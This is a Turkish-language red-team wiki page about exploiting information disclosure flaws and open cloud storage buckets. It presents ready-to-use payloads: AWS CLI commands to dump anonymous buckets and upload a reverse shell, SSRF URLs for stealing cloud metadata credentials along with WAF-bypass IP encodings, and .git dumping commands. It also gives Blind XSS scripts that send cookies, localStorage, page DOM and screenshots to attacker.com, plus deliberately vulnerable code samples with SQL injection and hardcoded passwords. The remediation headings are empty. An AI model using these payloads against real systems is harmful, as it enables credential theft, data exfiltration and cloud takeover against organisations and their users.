AltaySec Wiki Information Disclosure & Open Cloud Buckets   ·   AltaySec Araştırmalar

Information Disclosure & Open Cloud Buckets

root@altaysec:~# whoami
> Yazar: Emre Ermenek

Modern web mimarilerinde ve bulut tabanlı altyapılarda "Information Disclosure" (Bilgi İfşası) zafiyetleri, bir Red Team operasyonunun en kritik basamak taşlarından biridir. Çoğu zaman doğrudan bir "Remote Code Execution (RCE)" veya "SQL Injection" kadar yıkıcı görünmese de, stratejik olarak değerlendirildiğinde tüm sistemin ele geçirilmesini sağlayan eksik halkayı (hardcoded AWS anahtarları, dahili ağ topolojisi, bellek adres sızıntıları) sunar.

Bulut bilişimin (AWS S3, GCP Cloud Storage, Azure Blob Storage) yaygınlaşmasıyla birlikte "Open Buckets" (Açık Depolama Alanları) kavramı, bilgi ifşası konseptini yeni bir boyuta taşımıştır. Hedef sistemin kendi üzerinde bulunmayan ancak şirketin IT ekosistemine dahil olan dış depolama alanlarındaki yanlış yapılandırmalar (misconfigurations), sızma testi uzmanlarına kimlik doğrulama mekanizmalarını tamamen atlayarak kritik şirket verilerine erişim imkanı tanır. Bu doküman, HTTP protokolünün derinliklerinden AWS IAM politika değerlendirme hiyerarşisine kadar uzanan kapsamlı bir "Information Disclosure" istismar rehberidir.

How It Works (Teknik Analiz)

Bilgi ifşası zafiyetleri, uygulamanın istemciye (client) dönmemesi gereken verileri HTTP yanıt (response) gövdesinde, başlıklarında (headers) veya erişime açık statik dosyalarda barındırmasıyla oluşur.

Düşük seviyede (low-level) incelendiğinde bu durum birkaç temel mimari veya dil seviyesi hatadan kaynaklanır:

  1. Memory & Exception Handling (Bellek ve İstisna Yönetimi): Uygulamalar (özellikle Java, C# veya Node.js) işlenmemiş bir istisna (unhandled exception) fırlattığında, "Call Stack" veya "Heap" üzerinde bulunan o anki bellek durumunun bir parçasını "Stack Trace" olarak dışa vurur. Bu izler; veritabanı bağlantı dizelerini (connection strings), yerel dosya sistemindeki tam yolları (absolute paths) ve framework versiyonlarını barındırır.
  2. Cloud Storage Authorization (Bulut Depolama Yetkilendirmesi): AWS S3 örneğinde, bir kaynağa erişim yetkisi değerlendirilirken sırasıyla IAM User Policies -> Resource-based Policies (Bucket Policies) -> Bucket ACLs -> Object ACLs kontrol edilir. Varsayılan olarak özel (private) olan bu ayarlar, geliştiricilerin kullanım kolaylığı adına "Principal: *" (herkes) veya "PublicRead" ACL bayraklarını set etmesiyle tamamen internete açılır.
  3. Protocol RFC Violations (Protokol İhlalleri): Cache-Control başlıklarının yanlış yapılandırılması sonucu hassas kullanıcı verilerinin ara proxy'lerde (CDN, Varnish) önbelleğe alınması (Web Cache Deception) veya CORS (RFC 6454) politikalarındaki Access-Control-Allow-Origin: * miskonfigürasyonları.

Vulnerable Code Patterns

Aşağıda farklı teknolojilerde bilgi ifşasına yol açan kök neden kodlama hataları verilmiştir.

PHP - Geliştirme Modunun Canlıda Bırakılması:

<?php
// Kritik Hata: Hataların doğrudan kullanıcıya yansıtılması (php.ini misconfiguration)
error_reporting(E_ALL);
ini_set('display_errors', 1); 

$db_pass = "SuperSecretDbPassword123!";
// Veritabanı bağlantısı başarısız olduğunda parola ve dosya yolu ekrana basılacaktır.
$conn = new mysqli("localhost", "admin", $db_pass, "production_db");
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error . " in " . __FILE__);
}
?>

Node.js / Express - Hata Objelerinin Serileştirilmesi:

const express = require('express');
const app = express();

app.get('/api/user/:id', async (req, res) => {
    try {
        const user = await db.query(`SELECT * FROM users WHERE id = ${req.params.id}`);
        res.json(user);
    } catch (err) {
        // HATA: Tüm 'err' objesi (stack trace, DB query, AST yapısı) istemciye döndürülüyor.
        res.status(500).json({ error: "Internal Server Error", details: err.stack });
    }
});

AWS Terraform - Insecure S3 Bucket Yapılandırması:

resource "aws_s3_bucket" "company_assets" {
  bucket = "company-sensitive-documents"
}

# HATA: ACL "public-read" olarak ayarlanmış. İnternetteki herkes listeleyebilir ve okuyabilir.
resource "aws_s3_bucket_acl" "example_bucket_acl" {
  bucket = aws_s3_bucket.company_assets.id
  acl    = "public-read"
}

# HATA: Bucket Policy tüm anonim kullanıcılara (Principal: "*") izin veriyor.
resource "aws_s3_bucket_policy" "allow_public_access" {
  bucket = aws_s3_bucket.company_assets.id
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Sid       = "PublicReadGetObject"
        Effect    = "Allow"
        Principal = "*"
        Action    = "s3:GetObject"
        Resource  = "${aws_s3_bucket.company_assets.arn}/*"
      },
    ]
  })
}

Detection & Enumeration (Keşif ve Analiz)

Bilgi ifşası zafiyetlerini tespit etmek statik taramalar, dinamik fuzzing teknikleri ve OSINT (Açık Kaynak İstihbaratı) metodolojilerinin birleşimini gerektirir.

  1. Error-Based Enumeration: Girdilere beklenmedik karakterler (', ", %00, [], aşırı uzun stringler, integer overflow yaratacak değerler) göndererek uygulamanın vereceği tepkiler izlenir. Amaç 500 Internal Server Error verdirtip dönen HTTP Response Body içerisindeki Stack Trace'leri avlamaktır.
  2. Directory Fuzzing & Forced Browsing: Tahmin edilebilir veya gizli dizinlere (örn: /.git/, /.env, /backup.zip, /server-status) yönelik otonom istekler atılır. Sunucunun Index of / dönmesi (Directory Listing) hedeflenir.
  3. Cloud Storage Discovery: Hedefin kullandığı AWS, Azure veya GCP bucket isimleri tahmin edilmeye çalışılır. Bucket isimleri genelde [company]-assets, [company]-backup, [company]-prod şeklindedir. CNAME kayıtları ve DNS çözümlemeleri (s3.amazonaws.com adresine yönlendirmeler) kontrol edilir.
  4. Third-Party Leaks: GitHub, GitLab, Trello, Jira, Pastebin gibi platformlarda hedef kuruma ait API key, JWT secret veya hardcoded AWS Credentials sızıntıları aranır (Google Dorking & GitHub Dorking).

Attack Vectors & Exploitation (İstismar Vektörleri)

Publicly Accessible Cloud Buckets (AWS S3, GCP, Azure)

Bulut depolama alanlarına (Buckets) yetkisiz erişim, siber güvenlik dünyasındaki en büyük veri ihlallerinin temel nedenidir. AWS S3'te bir bucket'ın genel URL formatı http://[bucket_name].s3.amazonaws.com/ veya http://s3.amazonaws.com/[bucket_name]/ şeklindedir.

Insecure Direct Object References (IDOR) & Mass Assignment

API uç noktalarının, kullanıcının talep ettiği nesne (ID) üzerinde yetkisi olup olmadığını kontrol etmemesidir. Örneğin /api/v1/invoices/1050 adresindeki ID değeri 1051 yapıldığında başkasının faturası (PII verisi içeren bir PDF) görüntüleniyorsa, bu bir Information Disclosure'a yol açan IDOR zafiyetidir.

Source Code Disclosure & Version Control Leaks

Web dizininde bırakılan /.git/, /.svn/ klasörleri uygulamanın tüm kaynak kodunun, commit geçmişinin ve yapılandırma dosyalarının saldırganın bilgisayarına indirilmesine olanak tanır. Kaynak kodunun elde edilmesi, kod içerisindeki (Whitebox yaklaşımıyla) RCE, SQLi, LFI gibi çok daha kritik zafiyetlerin tespit edilmesinin önünü açar.

SSRF to Cloud Metadata (IMDS) Leakage

Server-Side Request Forgery (SSRF) zafiyeti, doğrudan bilgi ifşası amacıyla kullanılabilir. Uygulama, kullanıcının verdiği bir URL'e sunucu üzerinden istek atıyorsa, bu durum bulut sağlayıcıların gizli "Metadata" uç noktalarına erişmek için kullanılır. AWS için http://169.254.169.254/latest/meta-data/ adresi, IAM geçici erişim anahtarlarını (Token, Secret Key, Access Key) barındırır. Bu anahtarların ifşası, bulut ortamının tamamen ele geçirilmesine yol açar.

Blind XSS for Internal Dashboard Exfiltration

Bilgi ifşası sadece sunucu taraflı değildir. Bir iletişim formu, destek bileti (support ticket) veya log yönetim ekranı üzerinden enjekte edilen zararlı JavaScript (Blind XSS), yetkili bir admin tarafından görüntülendiğinde tetiklenir. Bu payload; adminin oturum çerezlerini (Non-HTTPOnly), iç ağ (Internal) URL'lerini, sayfanın ekran görüntüsünü veya DOM Tree'nin tam kopyasını saldırganın C2 (Command & Control) sunucusuna ifşa eder.

Payloads & Advanced Commands

AWS S3 Exploitation Commands

Açık bulut depolama alanlarını tespit ettikten sonra veri sızdırmak ve yetkileri test etmek için kullanılan AWS CLI komutları:

# Bucket içeriğini imzasız (anonim) olarak listeleme
aws s3 ls s3://[bucket_name] --no-sign-request --region us-east-1

# Tüm bucket içeriğini yerel makineye indirme (Exfiltration)
aws s3 sync s3://[bucket_name] /tmp/s3_dump/ --no-sign-request

# Bucket'ta yazma (PutObject) yetkisi olup olmadığını test etme
aws s3 cp reverse_shell.php s3://[bucket_name]/ --no-sign-request

# Bucket Access Control List (ACL) politikasını okuma
aws s3api get-bucket-acl --bucket [bucket_name] --no-sign-request

# Bucket Policy yapılandırmasını çekme
aws s3api get-bucket-policy --bucket [bucket_name] --no-sign-request

SSRF Payloads for Cloud Metadata

SSRF üzerinden bulut ortamı geçici kimlik bilgilerini (IAM/Service Accounts) ifşa etmek için kullanılan payloadlar:

# AWS IMDSv1 - Geçici IAM Rolünü öğrenme
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# AWS IMDSv2 - Token bazlı metadata ifşası (SSRF destekliyorsa Header enjeksiyonu ile)
PUT /latest/api/token HTTP/1.1
X-aws-ec2-metadata-token-ttl-seconds: 21600

# Google Cloud Platform (GCP) - Service Account ifşası
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# GCP için HTTP header'ı gerekir (SSRF'de header enjekte edilebiliyorsa):
Metadata-Flavor: Google

# Microsoft Azure
http://169.254.169.254/metadata/instance?api-version=2017-08-01
# Header gereksinimi:
Metadata: true

# DigitalOcean User Data / Droplet Metadata
http://169.254.169.254/metadata/v1.json

Git Repository & Source Code Extraction

Açık unutulmuş .git dizininden kaynak kodu çekmek için kullanılan komutlar:

# GitTools kullanımı (Dumper)
./gitdumper.sh http://target.com/.git/ /tmp/target_repo/

# Dökülen repo'nun commit geçmişini çıkartma (Extractor)
./extractor.sh /tmp/target_repo /tmp/target_extracted

# Wget ile manuel çekim denemesi (Eğer Dizin listeleme açıksa)
wget -r --no-parent http://target.com/.git/

Blind XSS Payloads for Data Exfiltration

İç ağ sayfalarının veya admin panellerinin içeriğini ifşa etmek için kullanılan payloadlar:

<script>
    var b64_dom = btoa(document.documentElement.outerHTML);
    var img = new Image();
    img.src = "http://attacker.com/exfil?data=" + b64_dom;
</script>

<script>
    fetch('http://attacker.com/log', {
        method: 'POST',
        body: JSON.stringify({
            cookies: document.cookie,
            local_storage: JSON.stringify(localStorage),
            url: window.location.href
        })
    });
</script>

<script src="https://html2canvas.hertzen.com/dist/html2canvas.min.js"></script>
<script>
    html2canvas(document.body).then(function(canvas) {
        var base64image = canvas.toDataURL("image/png");
        fetch("http://attacker.com/img_drop", { method: "POST", body: base64image });
    });
</script>

Bypass & Obfuscation (Atlatma Teknikleri)

Cloud WAF & Regex Bypasses

WAF'lar (Web Application Firewalls) genellikle S3 bucket isimlerini veya metadata IP adreslerini (169.254.169.254) engeller.

  1. IP Adresi Obfuscation: 169.254.169.254 IP adresini farklı formatlarda (Decimal, Octal, Hexadecimal) kodlayarak filtreleri atlatmak:
    • Decimal: http://2852039166/latest/meta-data/
    • Octal: http://0251.0376.0251.0376/latest/meta-data/
    • Hex: http://0xA9FEA9FE/latest/meta-data/
    • Kısa format: http://169.254.43518/
  2. DNS Rebinding / Custom Subdomains: Nip.io veya xip.io gibi servisler kullanarak metadata IP'sini bir alan adına bağlamak: http://169.254.169.254.nip.io/

Double URL Encoding & Null Byte Injection

Dizin listeleme (Directory Listing) veya yerel dosya ifşası (LFI) sırasında path traversal engellerini aşmak için:

Remediation & Prevention (Önleme ve Savunma)

Infrastructure as Code (IaC) Hardening

Application-Level Controls

Common Tools & Frameworks

| Araç | Fonksiyon | Komut Örneği |s | :--- | :--- | :--- | | AWS CLI | S3 bucket yönetimi, keşfi ve exfiltration işlemleri. | aws s3 ls s3://target-bucket --no-sign-request | | Cloud_Enum | Açık AWS, Azure ve GCP depolama alanlarını tespit etme. | cloud_enum -k companyname | | Grayhat Warfare | İnternete açık S3 bucket ve dosyalarını indeksleyen arama motoru. | (Web tabanlı GUI / API üzerinden kullanım) | | GitTools (Dumper) | Açıktaki .git dizinini tespit edip yerel makineye klonlama. | gitdumper.sh http://target.com/.git/ ./out | | XSS Hunter / Interactsh | Blind XSS ve OOB (Out-of-Band) etkileşimleri yakalama ve ifşa etme. | <script src="https://yourid.xss.ht"></script> | | Ffuf | Dizin ve dosya keşfi, verbose error avcılığı. | ffuf -w wordlist.txt -u http://target/FUZZ | | Pacu | AWS Cloud Exploitation Framework (Bulut ortamında yetki yükseltme). | run s3__enum_buckets |

Yazar: Emre Ermenek · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv